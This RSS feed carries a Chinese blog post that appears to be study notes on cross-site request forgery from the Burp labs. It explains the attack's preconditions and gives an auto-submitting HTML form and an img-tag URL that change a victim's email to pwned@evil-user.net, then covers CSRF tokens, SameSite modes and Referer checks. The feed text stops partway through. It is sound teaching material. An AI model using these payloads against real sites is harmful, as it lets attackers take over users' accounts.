<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Burp靶场 on Calendar&#39;s Blog</title>
        <link>https://calendar0917.github.io/tags/burp%E9%9D%B6%E5%9C%BA/</link>
        <description>Recent content in Burp靶场 on Calendar&#39;s Blog</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh-cn</language>
        <copyright>Calendar</copyright>
        <lastBuildDate>Sat, 22 Nov 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://calendar0917.github.io/tags/burp%E9%9D%B6%E5%9C%BA/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>Burp靶场：CSRF 跨站请求伪造</title>
        <link>https://calendar0917.github.io/posts/burp%E9%9D%B6%E5%9C%BA-csrf%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0/</link>
        <pubDate>Sat, 22 Nov 2025 00:00:00 +0000</pubDate>
        
        <guid>https://calendar0917.github.io/posts/burp%E9%9D%B6%E5%9C%BA-csrf%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0/</guid>
        <description>&lt;h2 id=&#34;知识&#34;&gt;知识
&lt;/h2&gt;&lt;h3 id=&#34;原理&#34;&gt;原理
&lt;/h3&gt;&lt;p&gt;跨站请求伪造（&lt;strong&gt;Cross-site request forgery&lt;/strong&gt;）是一种漏洞，攻击者可通过该漏洞诱导用户执行非本意的操作。它能让攻击者部分绕过 “同源策略”—— 该策略的设计初衷本是防止不同网站之间相互干扰。&lt;/p&gt;
&lt;p&gt;成功的 CSRF 攻击会诱导受害用户执行非本意的操作。例如，修改账户绑定邮箱、更改密码或进行资金转账等。根据操作的性质不同，攻击者可能完全掌控用户账户。若被攻陷的用户在应用中拥有特权角色（如管理员），攻击者则可能全面控制应用的所有数据与功能。&lt;/p&gt;
&lt;p&gt;CSRF攻击的实施需满足三个核心前提，攻击者通过构造恶意页面诱导用户触发请求，利用浏览器自动携带的用户凭证完成攻击，具体原理如下：&lt;/p&gt;
&lt;p&gt;前提：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;存在有价值的目标操作&lt;/strong&gt;：应用中存在攻击者值得诱导的操作，可能是特权操作（如修改其他用户权限），也可能是用户专属数据操作（如修改自身密码、绑定邮箱）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基于Cookie的会话验证&lt;/strong&gt;：执行该操作的HTTP请求，仅依赖会话Cookie识别用户身份，无其他会话跟踪或请求验证机制（如无CSRF令牌）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求参数可预测&lt;/strong&gt;：触发操作的请求中，所有参数值均为攻击者可确定或猜测的内容（例如修改密码时无需知道原密码，仅需提交新密码参数）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;示例&#34;&gt;示例
&lt;/h4&gt;&lt;p&gt;假设某应用的“修改邮箱”功能存在CSRF漏洞，用户执行修改操作时发送的HTTP请求如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;POST&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;/email/change&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;HTTP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Host&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;vulnerable-website.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Content-Type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Content-Length&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;30&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Cookie&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;email=wiener@normal-user.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;该请求满足上述三大前提：修改邮箱是高价值操作（可后续重置密码劫持账户）、仅通过&lt;code&gt;session&lt;/code&gt;Cookie验证身份、&lt;code&gt;email&lt;/code&gt;参数值可由攻击者任意指定。&lt;/p&gt;
&lt;p&gt;攻击者创建包含自动提交表单的&lt;strong&gt;HTML页面&lt;/strong&gt;，核心代码如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;action&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;https://vulnerable-website.com/email/change&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;pwned@evil-user.net&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;forms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;].&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;submit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// 页面加载后自动提交表单
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;攻击者诱导受害用户访问该恶意页面（如通过邮件、社交链接发送）；&lt;/li&gt;
&lt;li&gt;若用户已登录目标应用，浏览器会自动在请求中携带其&lt;code&gt;session&lt;/code&gt;Cookie（未启用SameSite Cookie策略时）；&lt;/li&gt;
&lt;li&gt;恶意页面自动向目标应用发送“修改邮箱”的POST请求，参数为攻击者指定的邮箱（&lt;code&gt;pwned@evil-user.net&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;目标应用&lt;strong&gt;通过Cookie识别&lt;/strong&gt;用户身份，将该请求视为受害用户的合法操作，执行邮箱修改。&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;CSRF攻击并非仅局限于Cookie-based会话验证，只要应用会自动在请求中添加用户凭证（如HTTP基本认证、基于证书的认证），均可能出现CSRF漏洞。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;攻击构造&#34;&gt;攻击构造
&lt;/h3&gt;&lt;p&gt;手动创建CSRF漏洞利用所需的HTML代码较为繁琐，尤其是当目标请求包含大量参数或存在其他特殊格式要求时。构造CSRF利用代码最简单的方式，是使用Burp Suite Professional内置的&lt;strong&gt;CSRF PoC生成器&lt;/strong&gt;，操作步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在Burp Suite Professional中，选中任意你想要测试或利用的请求；&lt;/li&gt;
&lt;li&gt;右键点击该请求，在上下文菜单中选择「Engagement tools（渗透测试工具）」→「Generate CSRF PoC（生成CSRF验证代码）」；&lt;/li&gt;
&lt;li&gt;Burp Suite会自动生成一段HTML代码，这段代码可触发选中的请求（不包含Cookie——受害用户的浏览器会自动添加Cookie）；&lt;/li&gt;
&lt;li&gt;你可以在CSRF PoC生成器中调整各类选项，对攻击细节进行优化。部分特殊场景下（如请求存在特殊格式要求），可能需要通过这些选项适配请求特性；&lt;/li&gt;
&lt;li&gt;将生成的HTML代码复制到一个网页中，在已登录目标漏洞网站的浏览器中打开该网页，验证目标请求是否成功发起，且预期操作是否执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;触发方式&#34;&gt;触发方式
&lt;/h3&gt;&lt;p&gt;CSRF攻击的交付机制与反射型XSS基本一致，核心是让受害用户触发恶意请求，具体方式如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、常规交付方式&lt;/strong&gt;（依赖外部网站）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;攻击者将恶意HTML代码部署到自己控制的网站；&lt;/li&gt;
&lt;li&gt;通过邮件、社交媒体消息等方式，向受害用户发送该网站的链接，诱导其访问；&lt;/li&gt;
&lt;li&gt;若恶意代码被植入热门网站（如用户评论区），攻击者无需主动诱导，只需等待用户自然访问该网站即可触发攻击。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;二、简化交付方式&lt;/strong&gt;（无需外部网站，GET请求场景）&lt;/p&gt;
&lt;p&gt;部分简单的CSRF漏洞可通过GET方法触发，此时攻击可被封装为漏洞网站的单个URL，无需依赖外部站点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击者直接构造恶意URL，将攻击参数嵌入查询字符串；&lt;/li&gt;
&lt;li&gt;诱导用户访问该恶意URL，浏览器会自动发送GET请求触发攻击；&lt;/li&gt;
&lt;li&gt;示例：若“修改邮箱”功能支持GET请求，攻击URL可直接封装为图片标签（用户访问含该标签的页面即触发）：
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;img&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;src&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;https://vulnerable-website.com/email/change?email=pwned@evil-user.net&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;防御手段&#34;&gt;防御手段
&lt;/h3&gt;&lt;p&gt;如今，发现并利用CSRF漏洞往往需要绕过目标网站、受害浏览器或两者均部署的反CSRF机制。以下是最常见的防护手段：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. CSRF令牌&lt;/strong&gt;（CSRF Tokens）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;核心机制：服务器端生成唯一、保密且不可预测的令牌，并传递给客户端；&lt;/li&gt;
&lt;li&gt;防护逻辑：客户端执行敏感操作（如提交表单）时，必须&lt;strong&gt;在请求中&lt;/strong&gt;包含正确的CSRF令牌；&lt;/li&gt;
&lt;li&gt;防护效果：攻击者无法知晓合法令牌值，难以构造有效的恶意请求，防护效果显著。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;常见的隐含 CSRF 令牌的方式
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;change-email-form&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;action&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;/my-account/change-email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;label&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;Email&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;label&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;required&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;example@normal-website.com&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;required&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;csrf&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;button&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#39;button&amp;#39;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#39;submit&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; Update email &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;button&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. SameSite Cookie&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;核心机制：浏览器的安全机制，用于决定网站Cookie是否在跨站请求中携带；&lt;/li&gt;
&lt;li&gt;防护逻辑：敏感操作通常需要携带已认证的会话Cookie，合适的SameSite限制可阻止跨站请求携带该Cookie；&lt;/li&gt;
&lt;li&gt;浏览器默认行为：2021年起Chrome浏览器默认强制执行Lax级别的SameSite限制，该标准后续有望被其他主流浏览器采纳。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. 基于Referer的验证&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;核心机制：部分应用利用HTTP Referer请求头防御CSRF，验证请求是否来自应用自身域名；&lt;/li&gt;
&lt;li&gt;防护效果：整体有效性低于CSRF令牌验证，易被绕过（如Referer可被篡改或隐藏）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;samesite防御&#34;&gt;Samesite防御
&lt;/h4&gt;&lt;p&gt;判断两个 URL 是否属于&lt;strong&gt;同一源（origin）站&lt;/strong&gt;，需满足三个 “完全一致”：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;协议（scheme）相同（如均为 HTTP 或 HTTPS）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;域名（domain name）相同；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;端口（port）相同（注：端口通常可由协议推导，如 HTTP 默认 80 端口、HTTPS 默认 443 端口）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/calendar0917/images/master/image-20251122202750517.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;image-20251122202750517&#34;
	
	
&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id=&#34;strict&#34;&gt;&lt;strong&gt;Strict&lt;/strong&gt;
&lt;/h5&gt;&lt;p&gt;若 Cookie 设置了&lt;code&gt;SameSite=Strict&lt;/code&gt;属性，浏览器&lt;strong&gt;不会在任何跨站请求中携带该 Cookie&lt;/strong&gt;。简单来说，只要请求的目标网站与浏览器地址栏中当前显示的网站不一致，浏览器就不会包含该 Cookie。&lt;/p&gt;
&lt;p&gt;这种模式&lt;strong&gt;推荐用于具备数据修改权限或执行其他敏感操作的 Cookie&lt;/strong&gt;（例如，用于访问仅认证用户可进入的特定页面的 Cookie）。&lt;/p&gt;
&lt;p&gt;尽管这是安全性最高的选项，但在需要跨站功能的场景中，可能会对&lt;strong&gt;用户体验&lt;/strong&gt;产生负面影响（例如跨站登录、第三方平台嵌入功能会因 Cookie 无法携带而失效）。&lt;/p&gt;
&lt;h5 id=&#34;lax&#34;&gt;&lt;strong&gt;Lax&lt;/strong&gt;
&lt;/h5&gt;&lt;p&gt;Lax 级别的 SameSite 限制意味着，浏览器仅在同时满足以下两个条件时，才会在跨站请求中&lt;strong&gt;携带该 Cookie&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;请求使用 GET 方法；&lt;/li&gt;
&lt;li&gt;请求由用户的&lt;strong&gt;顶层导航&lt;/strong&gt;触发（例如点击链接跳转页面）。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这意味着：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;跨站 POST 请求不会携带该 Cookie（按最佳实践，POST 请求通常用于执行数据修改或状态变更操作，是 CSRF 攻击的主要目标）；&lt;/li&gt;
&lt;li&gt;后台请求（如脚本发起的 AJAX 请求、iframe 嵌入请求、图片等资源引用请求）也不会携带该 Cookie。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lax 模式平衡了安全性与用户体验：既通过阻断高风险跨站请求（POST、后台请求）的 Cookie 携带，抵御大部分 CSRF 攻击；又允许正常的跨站 GET 导航（如点击第三方网站的链接跳转到目标网站）携带 Cookie，保障跨站访问的可用性（例如用户从博客链接跳转至电商网站时，仍能保持登录状态）&lt;/p&gt;
&lt;h5 id=&#34;none&#34;&gt;&lt;strong&gt;None&lt;/strong&gt;
&lt;/h5&gt;&lt;p&gt;若Cookie设置了&lt;code&gt;SameSite=None&lt;/code&gt;属性，则&lt;strong&gt;完全禁用SameSite限制&lt;/strong&gt;（不受浏览器类型影响）。因此，浏览器会在所有指向该Cookie所属网站的请求中携带该Cookie——即便请求是由完全无关的第三方网站触发的。&lt;/p&gt;
&lt;blockquote&gt;
